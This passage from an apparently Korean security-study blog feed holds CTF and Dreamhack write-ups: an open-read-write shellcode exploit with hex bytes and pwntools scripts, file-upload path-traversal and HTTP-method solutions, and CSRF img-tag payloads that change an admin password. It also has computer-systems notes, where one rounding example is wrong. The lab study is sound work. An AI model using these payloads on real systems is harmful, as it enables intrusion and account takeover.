<h2 id="2-1-풀이방법">2-1 풀이방법</h2>
<blockquote>
<p>해당문제는 2개의 풀이방법이 존재하였다.<br></p>
</blockquote>
<ol>
<li>asmbly 언어를 직접 작성하여 hexdump를 이용해 shellcode를 직접 주입하는 방법</li>
<li>pwntools 에서 제공하는 메서드를 이용하여 orw 셸코드를 작성하는 방법</li>
</ol>
<h2 id="2-2-explain-of-asm">2-2 explain of asm</h2>
<ul>
<li>실제로 해당 코드를 작성하는 것은 어렵지 않았다. 우리가 해야할일은 Open -&gt; read -&gt; write 순으로 시스템 콜을 호출하기만 하면 되는 것이다. 위의 내용들을 참조하여 셸코드를 작성해볼 수 있다.</li>
</ul>
<h3 id="2-2-1-assembly-작성">2-2-1 assembly 작성</h3>
<pre><code class="language-c"> global _open

_open:
    ;path를 hex로 변환후 little endian으로 변환시켜 스택에 push
    push 0x0
    mov rax, 0x676E6F6F6F6F6F ;8byte 단위로 push하여야함
    push rax
    mov rax, 0x676E6F6F6F6F6F
    push rax
    mov rax, 0x6D616E5F67616C
    push rax
    mov rax, 0x662F6369736162
    push rax
    mov rax, 0x5F6C6C6568732F
    push rax

    mov rdi, rsp
    xor rsi, rsi
    xor rdx, rdx
    mov rax, 2
    syscall        ;open

    mov rdi, rax
    mov rsi, 0x30
    mov rdx, 0x30
    mov rax, 0
    syscall        ;read

    mov rdi, 1
    mov rax, 1
    syscall        ;write

    xor rdi, rdi
    mov rax, 0x3c
    syscall        ;exit</code></pre>
<h3 id="2-2-2-hexdump">2-2-2 hexdump</h3>
<ul>
<li>해당 코드를 작성했다면<blockquote>
<ol>
<li>object file 생성
<code>nasm -f elf64 filename.asm</code><br> </li>
<li>bin 파일 생성
<code>objcopy --dump-section .text=filename.bin filename.o</code><br></li>
<li>해당 파일 출력
<code>xxd filname.bin</code></li>
</ol>
</blockquote>
</li>
</ul>
<h3 id="2-2-3-python코드-작성">2-2-3 python코드 작성</h3>
<ul>
<li>filname.bin 코드에서 assembly언어의 hex값만 추출해야함<pre><code class="language-python">#! /usr/bin/python3
</code></pre>
</li>
</ul>
<p>file_path = &quot;./write.bin&quot;</p>
<p>with open(file_path, &quot;rb&quot;) as file:
    machine_code = file.read()
    for byte in machine_code:
            print(&quot;\x{:02x}&quot;.format(byte), end=&quot;&quot;)</p>
<p>print()</p>
<pre><code>&lt;br&gt;

- 추출한 hex 값을 복사하여 exploit code 작성

```python
#! /usr/bin/python3

from pwn import *

p = remote(&quot;host3.dreamhack.games&quot;, 11673)
context.arch = &quot;amd64&quot;

shellcode = b&quot;\x6a\x00\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\xb8\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x30\xba\x30\x00\x00\x00\xb8\x00\x00\x00\x00\x0f\x05\xbf\x01\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05&quot;
p.sendlineafter(&quot;shellcode: &quot;, shellcode)
print(p.recv(1024))</code></pre><br>

<h2 id="2-3-explain-of-pwntools">2-3 explain of pwntools</h2>
<ul>
<li>pwntools 에서는 위의 orw 셸코드를 직접 작성하지 않아도 되도록 메서드를 지원한다.<pre><code class="language-python">#! /usr/bin/python3
</code></pre>
</li>
</ul>
<p>from pwn import *</p>
<p>p = remote(&#39;host3.dreamhack.games&#39;, 8658)
context.arch = &quot;amd64&quot;
r = &quot;/home/shell_basic/flag_name_is_loooooong&quot;</p>
<p>shellcode = &#39;&#39;
shellcode += shellcraft.open(r)
shellcode += shellcraft.read(&#39;rax&#39;, &#39;rsp&#39;, 0x100)
shellcode += shellcraft.write(1, &#39;rsp&#39;, 0x100)</p>
<p>p.recvuntil(&quot;shellcode: &quot; )
p.sendline(asm(shellcode))
print(p.recv())</p>
<p>```</p>
<br>]]></description>
        </item>
        <item>
            <title><![CDATA[Machine level of System]]></title>
            <link>https://velog.io/@gook_bob/Machine-level-of-System</link>
            <guid>https://velog.io/@gook_bob/Machine-level-of-System</guid>
            <pubDate>Fri, 22 Nov 2024 07:28:24 GMT</pubDate>
            <description><![CDATA[<h1 id="1-assembly-basic">1. Assembly Basic</h1>
<h2 id="1-1-data-formats">1-1 Data Formats</h2>
<blockquote>
<p>C declaration / intel data type / suffix / Size</p>
</blockquote>
<ol>
<li>char / Byte / b / 1</li>
<li>short / Word / w / 2</li>
<li>int / Double word / l / 4</li>
<li>long / Quod word / q / 8</li>
<li>char* / Quad word / q /8</li>
<li>float / Single precision / s / 4</li>
<li>double / Double precision / d / 8</li>
</ol>
<h2 id="1-2-moving-data">1-2 Moving data</h2>
<ul>
<li><p>movq Src, Dest</p>
<blockquote>
<p>Operand Types</p>
</blockquote>
<ul>
<li>immediate : $0x11..</li>
<li>register : %rax</li>
<li>Memory : (%rax)<ul>
<li>src, Dest : 둘중 하나 이상은 register가 들어가야함</li>
</ul>
</li>
</ul>
</li>
<li><p>Memory Addressing Modes</p>
<blockquote>
<p>D(Rb, Ri,S)
D : displacement
Rb : Base register
Ri : Index register
S : Scale </p>
<ul>
<li>(Rb + Ri * S) + D</li>
</ul>
</blockquote>
</li>
</ul>
<br>

<h1 id="2-procedures">2. Procedures</h1>
<h2 id="2-1-stack">2-1 Stack</h2>
<blockquote>
<ol>
<li>FIFO</li>
<li>높은 주소(%rbp) -&gt; 낮은 주소(%rsp)</li>
<li>pushq Src : %rsp - 8 이후 스택에 적재</li>
<li>pop Dest : %rsp 가 가리키는 값 추출 후 %rsp + 8</li>
</ol>
</blockquote>
<h2 id="2-2-control-flow">2-2 Control Flow</h2>
<ul>
<li>call label<blockquote>
<p>1.자동 push (call 다음 명령어 주소 = 복귀 주소)</p>
</blockquote>
</li>
</ul>
<p>2.이후 label로 jump</p>
<ul>
<li>ret<blockquote>
<p>자동으로 pop</p>
<ul>
<li>rip가 ret 주소에 도착할 경우 저절로 스택에 저장된 주소값으로 복귀한 후 %rsp + 8</li>
</ul>
</blockquote>
</li>
</ul>
<h2 id="2-3-data-flow">2-3 Data Flow</h2>
<ul>
<li><p>First 6 arguments</p>
<blockquote>
<ol>
<li>1st arg : %rdi</li>
<li>2nd arg : %rsi</li>
<li>3th : %rdx</li>
<li>4th : %rcx</li>
<li>5th : %r8</li>
<li>6th : %r9</li>
</ol>
<ul>
<li>추가 arg는 스택에 저장</li>
</ul>
</blockquote>
</li>
<li><p>return values = %rax에 저장</p>
</li>
<li><p>Stack Frames</p>
<blockquote>
<p>각 함수별 스택의 공간 할당되고 이를 stack frames라 한다
%rbp는 Framepointer로써 제일 상단의 주소를 가짐
함수내의 함수 선언할 경우 %rsp의 값을 %rbp로 바꾼후 차례대로 push...</p>
</blockquote>
</li>
<li><p>caller, callee saved : 함수 호출된후 해당 레지스터의 값의 변조를 예방하기 위해 스택에 저장</p>
<blockquote>
<p>1.caller saved</p>
</blockquote>
<ul>
<li>%r10, %r11<blockquote>
<p>2.callee saved</p>
</blockquote>
</li>
<li>%rbx, %r12, %r13, %r14</li>
<li>%rbp: frame pointer지만 callee-saved로도 사용가능</li>
</ul>
</li>
</ul>
<h1 id="3-data">3. Data</h1>
<h2 id="3-1-array">3-1 Array</h2>
<ul>
<li><p>array T A[L]</p>
<ul>
<li>T : data Type</li>
<li>L : length</li>
<li>size = T * L<br>   
</li>
</ul>
</li>
<li><p>연속적으로 메모리에 할당됨</p>
<br> 
</li>
<li><p>접근</p>
<p>  -A[i][j], k = sizeof(datatype) c = columns)</p>
<pre><code>  - A + (i * c+ j) + k</code></pre><p><img src="https://velog.velcdn.com/images/gook_bob/post/93643d5f-f9e6-4540-8a56-9bb809cb1e7b/image.jpg" alt=""></p>
</li>
</ul>
<p><img src="https://velog.velcdn.com/images/gook_bob/post/1388a199-0cbe-4718-8e69-48828fcb0f6e/image.jpg" alt=""></p>
<blockquote>
<ul>
<li><p>포인터 이용과 비교</p>
<ul>
<li>유연성 측면에서는 포인터로 구현하는 것이 유리</li>
<li>포인터로 구현할시 메모리를 2번 읽어야하므로 효율성 측면에서는 연속적하당이 유리</li>
</ul>
</li>
</ul>
</blockquote>
<br>

<h2 id="3-2-structure">3-2 structure</h2>
<p><img src="https://velog.velcdn.com/images/gook_bob/post/309242cd-da2d-43cb-8426-843010e141e6/image.jpg" alt=""></p>
<ul>
<li>구조체의 제일 첫번째에 선언된 배열 혹은 요소 접근시 : 주소 + index * size()</li>
</ul>
<p><img src="https://velog.velcdn.com/images/gook_bob/post/adf27857-4f5c-48da-8bd5-7a4d0700a69e/image.jpg" alt=""></p>
<blockquote>
<ul>
<li>정렬되지 않은 data들에 대해 정렬하기 위한 패딩값이 생기게됨 <ul>
<li>기준은 가장큰 byte값을 가지는 자료형을 기준 : double = 8bytes</li>
</ul>
</li>
</ul>
</blockquote>
<ul>
<li>위 그림에서는 8바이트 기준으로 정렬 이루어져야 함 -&gt; 8 / 8 / 8<br>
- 즉 내림차순으로 정렬하여 선언하는 것이 중요하다
<br>
- 구조체 배열 접근 : 구조체 하나 크기 * Index + 접근하고자 하는 element 


</li>
</ul>
<h1 id="4-misc--advanced-topics">4. Misc / Advanced Topics</h1>
<h2 id="4-1-memory-layout">4-1 Memory Layout</h2>
<blockquote>
<ol>
<li>stack : 8MB limit</li>
<li>Heap : 동적할당</li>
<li>Data : 전역, static</li>
<li>Text, Shared Libraries : read only</li>
</ol>
</blockquote>
<h2 id="4-2-buffer-overflow">4-2 buffer Overflow</h2>
<p><img src="https://velog.velcdn.com/images/gook_bob/post/28acff09-dcbb-4879-956d-fc42aa2ae3b5/image.jpg" alt=""></p>
<blockquote>
<p>버퍼의 용량을 초과한 Index값에 접근하는 경우</p>
</blockquote>
<ul>
<li>위의 그림은 사용량을 체크하지 않았다.</li>
<li>취약한 라이브러리 : gets, strcpy, scanf(%s)...</li>
<li>보완 : gets -&gt; fgets, strcpy -&gt; strncpy, %s -&gt; %ns)</li>
</ul>
<h3 id="4-2-1-avoid">4-2-1 Avoid</h3>
<blockquote>
<ol>
<li>Stack addr를 랜덤값으로 변경</li>
<li>Stack Canaries : 사이즈 이외의 값에 침범하지 못하도록 설정<ul>
<li>카나리 값과 일치하는지 확인한다</li>
</ul>
</li>
<li>Shadow Stack</li>
<li>memory Tag</li>
</ol>
</blockquote>
]]></description>
        </item>
        <item>
            <title><![CDATA[Bit-level of System]]></title>
            <link>https://velog.io/@gook_bob/Bit-level-of-System</link>
            <guid>https://velog.io/@gook_bob/Bit-level-of-System</guid>
            <pubDate>Fri, 22 Nov 2024 07:00:22 GMT</pubDate>
            <description><![CDATA[<h1 id="1-integer">1. integer</h1>
<h2 id="1-1-signed">1-1 signed</h2>
<blockquote>
<p>sign : 1 - neg(-), 0 - pos(+) just 1 bit
부호비트 제외한 모든 비트는 크기를 표시</p>
</blockquote>
<h3 id="signed-특징">signed 특징</h3>
<blockquote>
<p>음수표현 : 2의 보수법 채택 (~x + 1)
범위 : -2 ^ (x-1) ~ 2 ^ (x-1) - 1</p>
</blockquote>
<ul>
<li>char, int, long 등 사이즈 할당 가능 해당 bit 크기만큼만 표현이 가능하기에 overflow 가능성 </li>
<li>Tmin = 1000000...0, = Tmax + 1</li>
</ul>
<h1 id="2-floating">2. Floating</h1>
<blockquote>
<p>Sign : 1 - neg, 0- pos 1bit
Exp : single precision - 8bit, double precision - 11bit, 지수부
Frac : 가수부
v = (-1) ^ s * M * 2 ^ E
bias = 2 ^(k-1) - 1, k = Exp bit</p>
</blockquote>
<h2 id="분류">분류</h2>
<ul>
<li><p>Normalized values</p>
<blockquote>
<p>exp != 000..0 and exp != 111..1
E = Exp - Bias 
M = {1 ~ 2-e(엡실론)}, Normalized은 exp가 000..0이 아니기 때문에 1이상 + 가수부 111.11 = 1 + 0.999999999..9가 최대값 -&gt; != 2</p>
</blockquote>
</li>
<li><p>Denormalized values</p>
<blockquote>
<p>E = 1 - Bias
M = {0~1-e{엡실론)}, exp = 000..0인 상태를 의미</p>
</blockquote>
</li>
</ul>
<h2 id="rounding">Rounding</h2>
<ul>
<li><p>종류</p>
<blockquote>
<p>Towards zero : 0 쪽으로 rounding -1.6 -&gt; -1...
Round down : -inf 쪽으로 rounding
Round up : + inf 쪽으로..
Nearest Even(default) : 짝수쪽으로.. = Round to even</p>
</blockquote>
</li>
<li><p>Round-To-Even</p>
<blockquote>
<p>특징 : 오차가 더 적음
방법 : halfway 이상일 때 표현하고자 하는 자릿수가 짝수가 되도록 반올림 여부 결정 </p>
</blockquote>
</li>
<li><p>example of Round-To-Even</p>
<blockquote>
<p>7.89(49999) -&gt; 7.89 : halfway 보다 작음</p>
</blockquote>
</li>
</ul>
<p>7.89(50001) -&gt; 7.90 : halfway보다 크고, 홀수임
7.89(500000) -&gt; 7.90 : halfway이고, 홀수임
7.88(5000) -&gt; 7.80 : halfway이지만, 짝수임</p>
<blockquote>
<ul>
<li>half way 보다 크다면 무조건 올림, halfway라면 표현하고자 하는 자릿수의 수가 홀수인 경우에만 올림 -&gt; binary인경우에도 동일하게 적용됨</li>
</ul>
</blockquote>
<blockquote>
<p>binary halfway = 100, 
 100인경우 : 홀수일때 올림, 짝수인경우 유지
 1000..1(100보다 큰경우) : 무조건 올림</p>
</blockquote>
]]></description>
        </item>
        <item>
            <title><![CDATA[[wirte-up]GCHD - web]]></title>
            <link>https://velog.io/@gook_bob/wirte-upGCHD-web</link>
            <guid>https://velog.io/@gook_bob/wirte-upGCHD-web</guid>
            <pubDate>Thu, 24 Oct 2024 11:16:10 GMT</pubDate>
            <description><![CDATA[<h1 id="gchd-ctf-writeup--web">GCHD CTF writeup -web</h1>
<h2 id="1-문제-설명">1. 문제 설명</h2>
<blockquote>
<ol>
<li>파일 3개 제공 (index.php, file_up.php, download.php)</li>
<li>url 제공</li>
<li>업로드한 파일 다운받을 수 있도록 하는 페이지</li>
</ol>
</blockquote>
<br>

<h2 id="2-문제-분석">2. 문제 분석</h2>
<h3 id="21-dynamic-analysis">2.1 Dynamic Analysis</h3>
<ul>
<li><h4 id="url-접속시-페이지">url 접속시 페이지</h4>
<p><img src="https://velog.velcdn.com/images/gook_bob/post/1074a8af-59e5-4973-a04e-594f8b617857/image.png" alt=""></p>
</li>
<li><h4 id="파일-업로드-해보기--jpg">파일 업로드 해보기 : jpg</h4>
<p><img src="https://velog.velcdn.com/images/gook_bob/post/fa56452e-e18f-4e89-9679-210e03baa0de/image.png" alt=""></p>
</li>
<li><h4 id="download에-표시됨">download에 표시됨    <img src="https://velog.velcdn.com/images/gook_bob/post/fd1c9a02-85e2-4ab4-93c4-e7a2d8995149/image.png" alt=""></h4>
</li>
<li><h4 id="python-코드-있는거-올려봄">python 코드 있는거 올려봄</h4>
<p><img src="https://velog.velcdn.com/images/gook_bob/post/0059f627-86ca-487e-a970-52aef1ab1156/image.png" alt=""></p>
</li>
<li><h4 id="막힘">막힘</h4>
<p><img src="https://velog.velcdn.com/images/gook_bob/post/568fa01b-afc8-405a-8ab4-e9880fdcabd8/image.png" alt=""></p>
</li>
</ul>
<br> 

<h3 id="2-static-analysis">2. Static Analysis</h3>
<ul>
<li>upload.php <blockquote>
<ol>
<li>이미지, php, size 100 보다 큰지 체크</li>
<li>uploads dir 에 저장되는거 확인</li>
</ol>
</blockquote>
</li>
</ul>
<p><img src="https://velog.velcdn.com/images/gook_bob/post/9a230344-e330-4e7b-8610-61d149476750/image.png" alt=""></p>
<ul>
<li>download.php<blockquote>
<ol>
<li>header에 저런 정보를 넣어서 보내구나..</li>
</ol>
</blockquote>
</li>
</ul>
<p><img src="https://velog.velcdn.com/images/gook_bob/post/7abecf24-9f5f-48d6-8f9d-2f0b7db4d287/image.png" alt=""></p>
<br>

<h2 id="3-문제-풀이">3. 문제 풀이</h2>
<blockquote>
<ol>
<li>nmap 이용하여 port scan시 8989 포트 확인 가능</li>
<li>gobuster 이용해 cgi-bin directory 확인가능</li>
</ol>
</blockquote>
<ul>
<li><p>결론 </p>
<ul>
<li>8989 포트에서 cgi-bin 파일에 python 파일 업로드하기</li>
<li>burpsuit 통한 path traversal 취약점<ul>
<li>shebang 통한 이미지 파일, 크기 필터링 우회 취약점</li>
</ul>
</li>
</ul>
</li>
<li><p>exploit 코드
<img src="https://velog.velcdn.com/images/gook_bob/post/003c83ce-dab5-4e29-a077-abb13febec79/image.png" alt=""></p>
</li>
<li><p>path traversal : burpsuit intercept 킨후 filename을 이와 같이 변경 후 forward
<img src="https://velog.velcdn.com/images/gook_bob/post/228912c1-5ff1-4f65-8b19-d9432a144394/image.png" alt=""></p>
</li>
<li><p>파일 업로드 확인
<img src="https://velog.velcdn.com/images/gook_bob/post/e2d6cbc0-d73a-49cb-825e-7410e0461a68/image.png" alt=""></p>
</li>
<li><p>해당경로명 입력 -&gt; flag 획득
<img src="https://velog.velcdn.com/images/gook_bob/post/653c089c-34c7-4b91-9f18-8ba4bb9fde08/image.png" alt=""></p>
</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[[wirte-up]Questcon - web]]></title>
            <link>https://velog.io/@gook_bob/wirte-upQuestcon-web</link>
            <guid>https://velog.io/@gook_bob/wirte-upQuestcon-web</guid>
            <pubDate>Thu, 24 Oct 2024 10:37:04 GMT</pubDate>
            <description><![CDATA[<h1 id="questcon-ctf-write-up">Questcon CTF Write UP</h1>
<h2 id="1-문제-설명">1. 문제 설명</h2>
<blockquote>
<ol>
<li>문제명 : direction </li>
<li>추가 파일, 설명 없음</li>
<li>url 제공</li>
</ol>
</blockquote>
<h3 id="11-문제-설명-화면">1.1 문제 설명 화면</h3>
<p><img src="https://velog.velcdn.com/images/gook_bob/post/d1227aaf-58f0-42d8-9b4f-f72ada752264/image.png" alt=""></p>
<ul>
<li>접속시 화면
<img src="https://velog.velcdn.com/images/gook_bob/post/6aac9636-df55-4e20-a23f-46a611eea3a5/image.png" alt=""></li>
</ul>
<h2 id="2-문제-풀이">2. 문제 풀이</h2>
<h3 id="21-접근했던-방법들">2.1 접근했던 방법들</h3>
<blockquote>
</blockquote>
<ol>
<li>숨겨진 포트 있는지 nmap 통한 포트 스캐닝</li>
<li>PUT 메소드 통해서 쉘코드 삽입 가능한지 확인</li>
<li>ur에 &lt;script&gt;&lt;/script&gt; 통한 XSS 확인</li>
<li>숨겨진 dir or file 있는지 gobuster 사용</li>
<li>작년 CTF 참조
 -robots.txt파일에 disallow했던 문제 확인</li>
</ol>
<ul>
<li><p>robots.txt 파일 확인
<img src="https://velog.velcdn.com/images/gook_bob/post/35c12e9d-93c2-4945-b988-a27ee139c8ec/image.png" alt=""></p>
</li>
<li><p>/start 접근 : GET 메소드 안되는 것 확인 -&gt; 다른 메소드로 전송 해보기로 함
![]
(<a href="https://velog.velcdn.com/images/gook_bob/post/1c884f29-9786-4eb0-b793-a13402dab69d/image.png">https://velog.velcdn.com/images/gook_bob/post/1c884f29-9786-4eb0-b793-a13402dab69d/image.png</a>)</p>
</li>
<li><p>firefox에서 POST로 변경후 resend
<img src="https://velog.velcdn.com/images/gook_bob/post/6a5b4bf1-5d61-4f7a-aaf0-0b519c7f70d5/image.png" alt=""></p>
</li>
<li><p>결과 : redirect0~4 GET 요청도 들어가짐
<img src="https://velog.velcdn.com/images/gook_bob/post/3da3886a-c7db-45a2-9eb9-d3f88c6cec05/image.png" alt=""></p>
</li>
</ul>
<ul>
<li>각각 response 확인 : X-Flag-Part 보면 flag 확인 가능
<img src="https://velog.velcdn.com/images/gook_bob/post/2d6d1d64-875b-4e99-bce5-d4854b9dbec0/image.png" alt=""></li>
</ul>
<blockquote>
<p>flag : QUESTCON{mj3dir3ct10n_15_4n_4r}</p>
</blockquote>
]]></description>
        </item>
        <item>
            <title><![CDATA[[드림핵-웹] CSRF]]></title>
            <link>https://velog.io/@gook_bob/%EB%93%9C%EB%A6%BC%ED%95%B5-%EC%9B%B9-CSRF</link>
            <guid>https://velog.io/@gook_bob/%EB%93%9C%EB%A6%BC%ED%95%B5-%EC%9B%B9-CSRF</guid>
            <pubDate>Wed, 09 Oct 2024 09:04:52 GMT</pubDate>
            <description><![CDATA[<h1 id="1-definition">1. Definition</h1>
<h2 id="1-1-what-is-csrf">1-1 What is CSRF</h2>
<blockquote>
<p><strong>Cross Site Request Forgery : 교차 사이트 요청 위조</strong>
사이트간 요청을 위조하여 이용자가 자신의 의지와는 무관하게 공격자가 의도한 행위를 특정웹사이트에 요청하게 만드는 공격</p>
</blockquote>
<ul>
<li>이미 서명된 문서의 내용 조작</li>
<li>이용자 속여 의도치 않은 요청에 동의하게 하는 공격</li>
<li>그럴듯한 페이지 만들어서 입력 유도</li>
</ul>
<h2 id="1-2-compare-csrf-to-xss">1-2 Compare CSRF to XSS</h2>
<blockquote>
<p><strong>공통점</strong></p>
</blockquote>
<ul>
<li>클라이언트 대상 공격</li>
<li>이용자가 악성 스크립트 포함된 페이지 접속하도록 유도</li>
</ul>
<blockquote>
<p><strong>차이점</strong></p>
</blockquote>
<ul>
<li>XSS : 인증 정보 탈취 목적 -&gt; 사이트의 오리진에서 스크립트 실행<br></li>
<li>CSRF<ul>
<li>이용자가 임의 페이지에 HTTP 요청 보내는 것을 목적</li>
<li>공격자는 악성 스크립트 포함된 페이지에 접근한 이용자의 권한으로 웹 서비스의 임의 기능 실행 가능</li>
</ul>
</li>
</ul>
<br>

<h1 id="2-explanation">2. Explanation</h1>
<h2 id="2-2-csrf-1">2-2 CSRF-1</h2>
<h3 id="2-2-1-dynamic-analysis">2-2-1 Dynamic Analysis</h3>
<ol>
<li><p>서버 접속
<img src="https://velog.velcdn.com/images/gook_bob/post/50ff39b1-8d7b-4843-9cd5-c42c24ff6b9e/image.png" alt=""></p>
</li>
<li><p>csrf page
<img src="https://velog.velcdn.com/images/gook_bob/post/e4294219-d4f6-407a-a91a-4ea1aa7d61fb/image.png" alt=""></p>
</li>
<li><p>memo page
<img src="https://velog.velcdn.com/images/gook_bob/post/b72e3994-774c-4495-adc0-669b7248bb13/image.png" alt=""></p>
</li>
<li><p>notice flag page
<img src="https://velog.velcdn.com/images/gook_bob/post/49a59694-e083-4bd0-9c79-304c27653aaa/image.png" alt=""></p>
</li>
<li><p>flag page</p>
</li>
</ol>
<ul>
<li>써서 반응 확인
<img src="https://velog.velcdn.com/images/gook_bob/post/80997c4a-1ff4-4818-8415-f32d6acb118d/image.png" alt=""></li>
<li>작동 X
<img src="https://velog.velcdn.com/images/gook_bob/post/130f1be0-5e7f-4b53-b769-c020652ff259/image.png" alt=""></li>
</ul>
<ol start="6">
<li>memo page update</li>
</ol>
<ul>
<li>reload 될 때마다 페이지 update
<img src="https://velog.velcdn.com/images/gook_bob/post/53226b34-8c5b-483a-a5cc-caf6de5d07f6/image.png" alt=""><br>


</li>
</ul>
<h3 id="2-2-2-static-analysis">2-2-2 Static Analysis</h3>
<ol>
<li>read_url 함수</li>
</ol>
<ul>
<li>url, cookie를 파라미터 값으로 가진다.
<img src="https://velog.velcdn.com/images/gook_bob/post/05c7123d-317f-47f9-8db0-816789b221a2/image.png" alt=""></li>
</ul>
<ol start="2">
<li>check_csrf 함수</li>
</ol>
<ul>
<li>read_url을 실행한 값을 return
<img src="https://velog.velcdn.com/images/gook_bob/post/a5946795-e6e2-4c4e-a385-b6de937b3c54/image.png" alt=""></li>
</ul>
<ol start="3">
<li>/vuln</li>
</ol>
<ul>
<li>xss_filter -&gt; CSRF 기법만 사용가능
<img src="https://velog.velcdn.com/images/gook_bob/post/57f571d6-7c40-48ca-8205-433f4b62ff71/image.png" alt=""></li>
</ul>
<ol start="4">
<li>/flag</li>
</ol>
<ul>
<li>param 값 지정 가능</li>
<li>post 요청시 check_csrf 함수 실행
<img src="https://velog.velcdn.com/images/gook_bob/post/05ac609e-0317-4f83-823b-8d2fb6596e84/image.png" alt=""></li>
</ul>
<ol start="5">
<li>/memo</li>
</ol>
<ul>
<li>flag 표시가능
<img src="https://velog.velcdn.com/images/gook_bob/post/f1edfb6f-8d51-4d23-bb83-4b41f07cca9b/image.png" alt=""></li>
</ul>
<ol start="6">
<li>/admin/notice_flag</li>
</ol>
<ul>
<li>userid 값이 admin인 경우 FLAG 얻을 수 있음
<img src="https://velog.velcdn.com/images/gook_bob/post/1fc3c896-26f2-4c00-9bef-3d5cf653599c/image.png" alt=""></li>
</ul>
<ol start="7">
<li><p>정리</p>
<blockquote>
<ol>
<li>flag 값을 얻기 위해서는 /admin/notice_flagd 페이지에 userid 값이 admin인 client가 요청을 보내야함</li>
<li>/flag  page 에서는 CSRF 공격을 해야함</li>
<li>/memo page에서 flag 확인 </li>
</ol>
</blockquote>
</li>
<li><p>exploit 코드</p>
</li>
</ol>
<ul>
<li>&lt;img src=&quot;/admin/notice_flag?userid=admin&quot;&gt;
<img src="https://velog.velcdn.com/images/gook_bob/post/c7a640e2-0180-4363-b6ab-5d500a3d6d60/image.png" alt=""></li>
</ul>
<ol start="9">
<li>flag 획득<img src="https://velog.velcdn.com/images/gook_bob/post/209c1015-e595-43f6-988a-95a5563a8565/image.png" alt=""><br>

</li>
</ol>
<h2 id="2-2-csrf-1-1">2-2 CSRF-1</h2>
<h3 id="2-2-1-dynamic-analysis-1">2-2-1 Dynamic Analysis</h3>
<ol>
<li><p>서버 접속
<img src="https://velog.velcdn.com/images/gook_bob/post/42fd9959-1a9d-4c21-9fc7-e9312a2b98eb/image.png" alt=""></p>
</li>
<li><p>csrf page
<img src="https://velog.velcdn.com/images/gook_bob/post/78c2b0d7-9245-49da-aaec-fe259b3f3bb0/image.png" alt=""></p>
</li>
<li><p>flag page
<img src="https://velog.velcdn.com/images/gook_bob/post/a269e3c0-347f-474a-b722-ffad3495b62c/image.png" alt=""></p>
</li>
<li><p>login page
<img src="https://velog.velcdn.com/images/gook_bob/post/9b0980bf-f3a6-482d-a2e6-7b05bd7afa84/image.png" alt=""></p>
</li>
<li><p>반응 확인
<img src="https://velog.velcdn.com/images/gook_bob/post/e17acb03-5cb3-4488-8b7b-1a6c9f1e0e40/image.png" alt=""></p>
</li>
<li><p>결과
<img src="https://velog.velcdn.com/images/gook_bob/post/ad62dc89-a0c0-4007-8658-7018ca132f51/image.png" alt=""></p>
</li>
</ol>
<h3 id="2-2-2-static-analysis-1">2-2-2 Static Analysis</h3>
<ol>
<li>dictionary</li>
</ol>
<ul>
<li>ID : PW
<img src="https://velog.velcdn.com/images/gook_bob/post/ee668326-1cdb-4141-99bf-50072b0f3e34/image.png" alt=""></li>
<li>guest로 접속
<img src="https://velog.velcdn.com/images/gook_bob/post/7043463b-5f90-48ec-822d-044479503adf/image.png" alt=""></li>
<li>쿠키 확인 가능 
<img src="https://velog.velcdn.com/images/gook_bob/post/cb0dbc69-496e-47d0-9f9e-5b56aec1fc74/image.png" alt=""></li>
</ul>
<ol start="2">
<li><p>read_url 함수
<img src="https://velog.velcdn.com/images/gook_bob/post/940bda9a-e36f-4c05-9a00-a149cc64a461/image.png" alt=""></p>
</li>
<li><p>check_csrf</p>
</li>
</ol>
<ul>
<li>param, cookie 파라미터 값</li>
<li>read_url 실행값 리턴
<img src="https://velog.velcdn.com/images/gook_bob/post/d821b697-81c5-405a-a226-d8f87099bf12/image.png" alt=""></li>
</ul>
<ol start="4">
<li>/vuln</li>
</ol>
<ul>
<li>xss_filter -&gt; CSRF 공격만 가능
<img src="https://velog.velcdn.com/images/gook_bob/post/cd4a340b-504f-4aa8-9faa-27887d47dcd5/image.png" alt=""></li>
</ul>
<ol start="5">
<li><p>/flag
<img src="https://velog.velcdn.com/images/gook_bob/post/36a8abcf-0015-48ff-bb5d-4e0fc63bc1cb/image.png" alt=""></p>
</li>
<li><p>/login
<img src="https://velog.velcdn.com/images/gook_bob/post/f98d2492-cb80-46ee-ab5a-3fb810e73a35/image.png" alt=""></p>
</li>
<li><p>/change_password</p>
</li>
</ol>
<ul>
<li>요청에 pw값을 넣을 수 있다
<img src="https://velog.velcdn.com/images/gook_bob/post/15dbf0a7-a85c-4a72-9d05-db67433812ed/image.png" alt=""></li>
</ul>
<ol start="8">
<li><p>정리</p>
<blockquote>
<ol>
<li>admin으로 접속하면 Home page에 flag값이 뜬다</li>
<li>/change_password의 pw값을 통해 admin의 비밀번호 변경</li>
<li>변경한 비밀번호로 로그인</li>
</ol>
</blockquote>
</li>
<li><p>코드</p>
</li>
</ol>
<ul>
<li>&lt;img src=&quot;/change_password?pw=0000&quot;&gt;
<img src="https://velog.velcdn.com/images/gook_bob/post/41d54c53-d687-4cab-9d38-3d93cea9cbfa/image.png" alt=""></li>
</ul>
<ol start="10">
<li><p>로그인 
<img src="https://velog.velcdn.com/images/gook_bob/post/f28c992f-1e73-4c54-8535-15e7bf881036/image.png" alt=""></p>
</li>
<li><p>flag 획득
<img src="https://velog.velcdn.com/images/gook_bob/post/b2be245e-3c23-4998-b7e2-d6e64014d7fd/image.png" alt=""></p>
<br>

</li>
</ol>
<h2 id="3-prevent">3. Prevent</h2>
<blockquote>
<ol>
<li>CSRF tokens 사용 </li>
<li>Strict SameSite cookie restrictions 사용</li>
</ol>
</blockquote>
<h3 id="3-1-csrf-tokens">3-1 CSRF tokens</h3>
<blockquote>
<p>세션 토큰과 비슷한 개념, 엔트로피가 높은경우 예측 불가</p>
</blockquote>
<ul>
<li>생성 : CSPRNG(Cryptographically Secure Pseudo-random Number Generator) 사용</li>
